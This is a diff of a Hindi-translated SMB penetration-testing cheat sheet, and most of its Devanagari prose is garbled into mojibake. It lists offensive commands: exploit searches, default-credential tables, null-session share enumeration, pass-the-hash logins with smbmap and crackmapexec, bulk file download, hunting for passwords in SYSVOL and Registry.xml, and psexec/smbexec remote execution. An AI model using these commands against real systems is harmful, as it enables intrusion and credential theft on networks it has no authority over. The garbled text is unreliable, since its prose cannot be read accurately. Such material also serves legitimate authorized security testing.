рд╕рд╣рд╛рдпрдХ рдореЙрдбреНрдпреВрд▓ \_**auxiliary/scanner/smb/smb_version** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ +- **MSF** рд╕рд╣рд╛рдпрдХ рдореЙрдбреНрдпреВрд▓ `**auxiliary/scanner/smb/smb_version**` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ - рдпрд╛ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ: ```bash #!/bin/sh @@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **рдЦреЛрдЬ рд╢реЛрд╖рдг** +### **рд╢реЛрдз рд╢реЛрд╖рдг** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb @@ -84,11 +84,11 @@ searchsploit microsoft smb | **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо(s)** | **рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб** | | -------------------- | ----------------------------------------- | | _(рдЦрд╛рд▓реА)_ | _(рдЦрд╛рд▓реА)_ | -| рдЧреЗрд╕реНрдЯ | _(рдЦрд╛рд▓реА)_ | -| рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, рдПрдбрдорд┐рди | _(рдЦрд╛рд▓реА)_, рдкрд╛рд╕рд╡рд░реНрдб, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, рдПрдбрдорд┐рди | -| рдЖрд░реНрдХрд╕рд░реНрд╡ | рдЖрд░реНрдХрд╕рд░реНрд╡, рдмреИрдХрдЕрдк | -| рдЯрд┐рд╡реЛрд▓реА, рдЯреЗрдорд░рд╕рд░рд╡реНрдб | рдЯрд┐рд╡реЛрд▓реА, рдЯреЗрдорд░рд╕рд░рд╡реНрдб, рдПрдбрдорд┐рди | -| рдмреИрдХрдЕрдкрдПрдХреНрд╕реЗрдХ, рдмреИрдХрдЕрдк | рдмреИрдХрдЕрдкрдПрдХреНрд╕реЗрдХ, рдмреИрдХрдЕрдк, рдЖрд░реНрдХрд╛рдбрд╛ | +| рдЕрддрд┐рдерд┐ | _(рдЦрд╛рд▓реА)_ | +| рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, admin | _(рдЦрд╛рд▓реА)_, рдкрд╛рд╕рд╡рд░реНрдб, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, admin | +| arcserve | arcserve, рдмреИрдХрдЕрдк | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, рдмреИрдХрдЕрдк | backupexec, рдмреИрдХрдЕрдк, arcada | | рдкрд░реАрдХреНрд╖рдг, рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛, рдбреЗрдореЛ | рдкрд╛рд╕рд╡рд░реНрдб, рдкрд░реАрдХреНрд╖рдг, рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛, рдбреЗрдореЛ | ### рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ @@ -169,7 +169,7 @@ rpcclient-enumeration.md ### рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рд╕реВрдЪреА -рдпрд╣ рд╣рдореЗрд╢рд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдЪреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд╣реАрдВ рд╣реИрдВ рддреЛ **null** **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рдЕрддрд┐рдерд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред +рдпрд╣ рд╣рдореЗрд╢рд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рдЖрдк рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдЪреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд╣реАрдВ рд╣реИрдВ рддреЛ **null** **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рдЕрддрд┐рдерд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рдВрдбреЛрдЬрд╝ рд╢реЗрдпрд░реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ рдФрд░ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ** -рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рдХрд┐рд╕реА рднреА рд╢реЗрдпрд░ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЬрдм рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдРрд╕рд╛ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╢реЗрдпрд░ рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╢реЗрдпрд░ рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рд╕рд╛рд░реНрдердХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╢реЗрдпрд░реЛрдВ рдХреА рдореИрдиреНрдпреБрдЕрд▓ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк NT_STATUS_ACCESS_DENIED рдФрд░ NT_STATUS_BAD_NETWORK_NAME рдЬреИрд╕реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм рдЖрдк рдПрдХ рдорд╛рдиреНрдп рд╕рддреНрд░ (рдЬреИрд╕реЗ, рдирд▓ рд╕рддреНрд░ рдпрд╛ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВред рдпреЗ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕рдХрд╛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рд╣реИ рдпрд╛ рд╢реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред +рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рдХрд┐рд╕реА рднреА рд╢реЗрдпрд░ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЬрдм рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдРрд╕рд╛ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╢реЗрдпрд░ рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдХрд┐рд╕реА рд╢реЗрдпрд░ рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рд╕рд╛рд░реНрдердХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╢реЗрдпрд░реЛрдВ рдХреА рдореИрдиреНрдпреБрдЕрд▓ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк NT_STATUS_ACCESS_DENIED рдФрд░ NT_STATUS_BAD_NETWORK_NAME рдЬреИрд╕реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм рдЖрдк рдПрдХ рдорд╛рдиреНрдп рд╕рддреНрд░ (рдЬреИрд╕реЗ, рдирд▓ рд╕рддреНрд░ рдпрд╛ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВред рдпреЗ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕рдХрд╛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рд╣реИ рдпрд╛ рд╢реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред рд╡рд┐рдВрдбреЛрдЬрд╝ рд▓рдХреНрд╖реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рд╢реЗрдпрд░ рдирд╛рдо рд╣реИрдВ @@ -210,7 +210,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t - SYSVOL - NETLOGON -(рд╕рд╛рдорд╛рдиреНрдп рд╢реЗрдпрд░ рдирд╛рдо _**рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЖрдХрд▓рди 3рд░реА рд╕рдВрд╕реНрдХрд░рдг**_ рд╕реЗ) +( _**рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЖрдХрд▓рди 3рд░реА рд╕рдВрд╕реНрдХрд░рдг**_ рд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рд╢реЗрдпрд░ рдирд╛рдо) рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ```bash @@ -239,10 +239,10 @@ done smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Windows рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ / рдмрд┐рдирд╛ рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рдЯреВрд▓реНрд╕ рдХреЗ** +### **Windows рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ / рдмрд┐рдирд╛ рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рдЯреВрд▓ рдХреЗ** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **рдлрд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ** -рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рдкрд╛рд╕-рдереА-рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВред +рдкрдВрдЬреАрдХрд░рдг/рдкрд╛рд╕-рде-рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВред ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -289,18 +289,18 @@ smbclient /// > mget * #Download everything to current directory ``` -рдХрдорд╛рдВрдб: +Commands: - mask: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреМрди рд╕рд╛ рдорд╛рд╕реНрдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреИрд╕реЗ "" рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП) - recurse: рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХреЛ рдЪрд╛рд▓реВ рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдмрдВрдж) -- prompt: рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджреЗрдиреЗ рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдЪрд╛рд▓реВ) -- mget: рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди рдкрд░ рдорд╛рд╕реНрдХ рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ +- prompt: рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдЪрд╛рд▓реВ) +- mget: рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди рдкрд░ рдорд╛рд╕реНрдХ рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рддрд╛ рд╣реИ (_smbclient рдХреЗ рдореИрдирдкреЗрдЬ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА_) -### рдбреЛрдореЗрди рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реНрд╕ рдЦреЛрдЬ +### Domain Shared Folders Search -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -310,11 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдореЗрдВ **`Registry.xml`** рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓реЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **autologon** рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП **рдкрд╛рд╕рд╡рд░реНрдб** рд░рдЦ рд╕рдХрддреА рд╣реИрдВред рдпрд╛ **`web.config`** рдлрд╝рд╛рдЗрд▓реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд░рдЦрддреА рд╣реИрдВред +рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдлрд╛рдЗрд▓реЗрдВ **`Registry.xml`** рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **рдкрд╛рд╕рд╡рд░реНрдб** рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **autologon** рдХреЗ рд╕рд╛рде **Group Policy** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╣реИрдВред рдпрд╛ **`web.config`** рдлрд╛рдЗрд▓реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд░рдЦрддреА рд╣реИрдВред > [!NOTE] -> **SYSVOL рд╢реЗрдпрд░** рд╕рднреА рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ **рдкрдврд╝рд╛** рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд╣рд╛рдБ рдЖрдк рдХрдИ рд╡рд┐рднрд┐рдиреНрди рдмреИрдЪ, VBScript, рдФрд░ PowerShell **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** **рдкрд╛рдПрдВрдЧреЗ**ред\ -> рдЖрдкрдХреЛ рдЗрд╕рдХреЗ рдЕрдВрджрд░ рдХреА **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рдХреА **рдЬрд╛рдВрдЪ** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЖрдк **рдкрд╛рд╕рд╡рд░реНрдб** рдЬреИрд╕реА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА **рдкрд╛рдПрдВрдЧреЗ**ред +> **SYSVOL рд╢реЗрдпрд░** рд╕рднреА рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ **рдкрдврд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред рд╡рд╣рд╛рдБ рдЖрдк рдХрдИ рд╡рд┐рднрд┐рдиреНрди рдмреИрдЪ, VBScript, рдФрд░ PowerShell **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** **рдкрд╛рдПрдВрдЧреЗ**ред\ +> рдЖрдкрдХреЛ рдЗрд╕рдХреЗ рдЕрдВрджрд░ рдХреА **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рдХреА **рдЬрд╛рдВрдЪ** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ **рдкрд╛рд╕рд╡рд░реНрдб** **рдкрд╛рдПрдВрдЧреЗ**ред ## рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝реЗрдВ @@ -331,12 +331,12 @@ The **default config of** a **Samba** server is usually located in `/etc/samba/s | **Setting** | **Description** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | рдХреНрдпрд╛ рд╡рд░реНрддрдорд╛рди рд╢реЗрдпрд░ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╢реЗрдпрд░реЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ? | -| `read only = no` | рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдФрд░ рд╕рдВрд╢реЛрдзрди рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ? | -| `writable = yes` | рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ? | -| `guest ok = yes` | рдХреНрдпрд╛ рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ? | -| `enable privileges = yes` | рдХреНрдпрд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ SID рдХреЛ рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╕рдореНрдорд╛рди рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛? | -| `create mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдХреМрди рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЕрд╕рд╛рдЗрди рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП? | -| `directory mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рдХреМрди рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЕрд╕рд╛рдЗрди рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП? | +| `read only = no` | рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдФрд░ рд╕рдВрд╢реЛрдзрди рдХреЛ рд░реЛрдХреЗрдВ? | +| `writable = yes` | рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ? | +| `guest ok = yes` | рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ? | +| `enable privileges = yes` | рд╡рд┐рд╢рд┐рд╖реНрдЯ SID рдХреЛ рд╕реМрдВрдкреЗ рдЧрдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╕рдореНрдорд╛рди рдХрд░реЗрдВ? | +| `create mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдХреМрди рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╕реМрдВрдкрдиреА рдЪрд╛рд╣рд┐рдП? | +| `directory mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рдХреМрди рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╕реМрдВрдкрдиреА рдЪрд╛рд╣рд┐рдП? | | `logon script = script.sh` | рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рдкрд░ рдХреМрди рд╕рд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? | | `magic script = script.sh` | рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдВрдж рд╣реЛрдиреЗ рдкрд░ рдХреМрди рд╕рд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? | | `magic output = script.out` | рдЬрд╛рджреБрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдХрд╣рд╛рдБ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? | @@ -378,8 +378,8 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдк **рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдмрдирд╛рдПрдВрдЧреЗ** (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ _\pipe\svcctl_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП) рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдореЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВрдЧреЗ (**psexec** рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ ADMIN$ рд╢реЗрдпрд░ рдореЗрдВ **рдЕрдкрд▓реЛрдб** рдХрд░реЗрдЧрд╛ рдФрд░ **smbexec** **cmd.exe/powershell.exe** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рддрд░реНрдХреЛрдВ рдореЗрдВ рдкреЗрд▓реЛрдб рдбрд╛рд▓реЗрдЧрд╛ --**рдлрд╛рдЗрд▓-рд▓реЗрд╕ рддрдХрдиреАрдХ-**-).\ -**рдЕрдзрд┐рдХ 